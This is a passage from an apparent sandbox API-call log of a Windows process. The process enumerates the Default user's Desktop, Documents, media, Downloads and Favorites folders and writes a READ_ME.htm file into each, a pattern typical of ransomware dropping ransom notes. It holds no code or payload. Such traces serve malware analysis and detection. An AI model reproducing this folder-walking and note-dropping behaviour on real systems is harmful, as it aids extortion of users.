ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.743] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0143.743] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.743] SetErrorMode (uMode=0x0) returned 0x1 [0143.743] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Desktop\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Desktop\\READ_ME.htm", lpFilePart=0x0) returned 0x24 [0143.743] SetErrorMode (uMode=0x1) returned 0x0 [0143.744] CreateFileW (lpFileName="C:\\Users\\Default\\Desktop\\READ_ME.htm" (normalized: "c:\\users\\default\\desktop\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.744] GetFileType (hFile=0x1d0) returned 0x1 [0143.744] SetErrorMode (uMode=0x0) returned 0x1 [0143.744] GetFileType (hFile=0x1d0) returned 0x1 [0143.744] WriteFile (in: hFile=0x1d0, lpBuffer=0x2840a00*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2840a00*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.755] CloseHandle (hObject=0x1d0) returned 1 [0143.755] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents", lpFilePart=0x0) returned 0x1a [0143.755] SetErrorMode (uMode=0x1) returned 0x0 [0143.756] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*" (normalized: "c:\\users\\default\\documents\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0143.758] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0143.758] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0143.758] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0143.758] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.759] SetErrorMode (uMode=0x0) returned 0x1 [0143.759] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents", lpFilePart=0x0) returned 0x1a [0143.760] SetErrorMode (uMode=0x1) returned 0x0 [0143.760] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*" (normalized: "c:\\users\\default\\documents\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.761] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.761] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.761] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0143.761] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0143.761] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0143.762] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0143.762] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.763] SetErrorMode (uMode=0x0) returned 0x1 [0143.763] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Music", lpFilePart=0x0) returned 0x23 [0143.763] SetErrorMode (uMode=0x1) returned 0x0 [0143.763] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*" (normalized: "c:\\users\\default\\documents\\my music\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.781] SetErrorMode (uMode=0x0) returned 0x1 [0143.783] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Music\\READ_ME.htm", lpFilePart=0x0) returned 0x2f [0143.783] SetErrorMode (uMode=0x1) returned 0x0 [0143.783] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Music\\READ_ME.htm" (normalized: "c:\\users\\default\\documents\\my music\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.787] GetFileType (hFile=0x1d0) returned 0x1 [0143.787] SetErrorMode (uMode=0x0) returned 0x1 [0143.787] GetFileType (hFile=0x1d0) returned 0x1 [0143.787] WriteFile (in: hFile=0x1d0, lpBuffer=0x2848498*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2848498*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0143.788] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Pictures", lpFilePart=0x0) returned 0x26 [0143.788] SetErrorMode (uMode=0x1) returned 0x0 [0143.788] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*" (normalized: "c:\\users\\default\\documents\\my pictures\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.793] SetErrorMode (uMode=0x0) returned 0x1 [0143.794] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Pictures\\READ_ME.htm", lpFilePart=0x0) returned 0x32 [0143.794] SetErrorMode (uMode=0x1) returned 0x0 [0143.794] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\READ_ME.htm" (normalized: "c:\\users\\default\\documents\\my pictures\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.796] GetFileType (hFile=0x1d0) returned 0x1 [0143.796] SetErrorMode (uMode=0x0) returned 0x1 [0143.796] GetFileType (hFile=0x1d0) returned 0x1 [0143.796] WriteFile (in: hFile=0x1d0, lpBuffer=0x284de90*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x284de90*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0143.798] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Videos", lpFilePart=0x0) returned 0x24 [0143.798] SetErrorMode (uMode=0x1) returned 0x0 [0143.798] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*" (normalized: "c:\\users\\default\\documents\\my videos\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.801] SetErrorMode (uMode=0x0) returned 0x1 [0143.801] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Videos\\READ_ME.htm", lpFilePart=0x0) returned 0x30 [0143.802] SetErrorMode (uMode=0x1) returned 0x0 [0143.802] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Videos\\READ_ME.htm" (normalized: "c:\\users\\default\\documents\\my videos\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.804] GetFileType (hFile=0x1d0) returned 0x1 [0143.804] SetErrorMode (uMode=0x0) returned 0x1 [0143.804] GetFileType (hFile=0x1d0) returned 0x1 [0143.804] WriteFile (in: hFile=0x1d0, lpBuffer=0x2853868*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2853868*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0143.805] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\READ_ME.htm", lpFilePart=0x0) returned 0x26 [0143.806] SetErrorMode (uMode=0x1) returned 0x0 [0143.806] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\READ_ME.htm" (normalized: "c:\\users\\default\\documents\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.806] GetFileType (hFile=0x1d0) returned 0x1 [0143.806] SetErrorMode (uMode=0x0) returned 0x1 [0143.806] GetFileType (hFile=0x1d0) returned 0x1 [0143.807] WriteFile (in: hFile=0x1d0, lpBuffer=0x2857dc8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2857dc8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.808] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Downloads", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Downloads", lpFilePart=0x0) returned 0x1a [0143.808] SetErrorMode (uMode=0x1) returned 0x0 [0143.808] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*" (normalized: "c:\\users\\default\\downloads\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.809] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.809] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.809] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0143.809] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.809] SetErrorMode (uMode=0x0) returned 0x1 [0143.809] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Downloads", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Downloads", lpFilePart=0x0) returned 0x1a [0143.810] SetErrorMode (uMode=0x1) returned 0x0 [0143.810] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*" (normalized: "c:\\users\\default\\downloads\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.810] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.810] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.810] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0143.811] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.811] SetErrorMode (uMode=0x0) returned 0x1 [0143.811] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Downloads\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Downloads\\READ_ME.htm", lpFilePart=0x0) returned 0x26 [0143.811] SetErrorMode (uMode=0x1) returned 0x0 [0143.811] CreateFileW (lpFileName="C:\\Users\\Default\\Downloads\\READ_ME.htm" (normalized: "c:\\users\\default\\downloads\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.813] GetFileType (hFile=0x1d0) returned 0x1 [0143.813] SetErrorMode (uMode=0x0) returned 0x1 [0143.813] GetFileType (hFile=0x1d0) returned 0x1 [0143.813] WriteFile (in: hFile=0x1d0, lpBuffer=0x285dca8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x285dca8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.814] CloseHandle (hObject=0x1d0) returned 1 [0143.815] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites", lpFilePart=0x0) returned 0x1a [0143.815] SetErrorMode (uMode=0x1) returned 0x0 [0143.815] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*" (normalized: "c:\\users\\default\\favorites\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.816] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.817] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.817] FindNextFileW (in: 